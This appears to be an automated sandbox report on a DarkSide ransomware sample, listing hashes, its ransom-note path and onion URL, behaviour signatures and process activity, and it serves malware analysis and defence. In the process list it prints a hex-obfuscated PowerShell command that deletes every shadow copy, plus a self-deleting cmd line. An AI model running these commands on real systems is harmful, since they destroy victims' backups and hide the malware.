Analysis
-
max time kernel
63s -
max time network
119s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
12-05-2021 19:34
General
-
Target
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
-
Size
59KB
-
MD5
6a7fdab1c7f6c5a5482749be5c4bf1a4
-
SHA1
4e6d303d96621769b491777209c237b4061e3285
-
SHA256
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb
-
SHA512
39446ebfae1dd0e007e81087f42021b95ee5a0a04e22ca7f4f5addbea4e71c7fe09ffd3bf953400955ce6d31b535c81a37b018aba73c30e61575b2c49414d6cd
Malware Config
Extracted
C:\\README.7b336f65.TXT
darkside
http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT
Signatures
-
DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
-
Modifies extensions of user files 18 IoCs
Ransomware generally changes the extension on encrypted files.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies Control Panel 1 IoCs
-
Modifies registry class 5 IoCs
-
Suspicious behavior: EnumeratesProcesses 5 IoCs
-
Suspicious use of AdjustPrivilegeToken 25 IoCs
-
Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe"C:\Users\Admin\AppData\Local\Temp\1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\1CC7C1~1.EXE >> NUL2⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
ea6243fdb2bfcca2211884b0a21a0afc
SHA12eee5232ca6acc33c3e7de03900e890f4adf0f2f
SHA2565bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8
SHA512189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
989090d5b06188db7baf5f86773747d5
SHA111b8f352dbe55f8d13efa6a6aaa34b4dd4083121
SHA25660e7aec41cc02fd0c5fb340e8dd3ee18d05d7137e47fce596d4e686514066aa0
SHA51267b0ccab0d5d42b9f08fae9b3d072f6cc4c0eb073851bd6fcf4d69f7043b84b7b78c87754fe667b1ed42738a2ba8201da2565347f4ed893845376c19945173f1
-
memory/3536-114-0x0000000000000000-mapping.dmp
-
memory/3536-120-0x0000022999BC0000-0x0000022999BC1000-memory.dmpFilesize
4KB
-
memory/3536-125-0x00000229B4340000-0x00000229B4341000-memory.dmpFilesize
4KB
-
memory/3536-128-0x0000022999AD0000-0x0000022999AD2000-memory.dmpFilesize
8KB
-
memory/3536-129-0x0000022999AD3000-0x0000022999AD5000-memory.dmpFilesize
8KB
-
memory/3536-130-0x0000022999AD6000-0x0000022999AD8000-memory.dmpFilesize
8KB
-
memory/4704-144-0x0000000000000000-mapping.dmp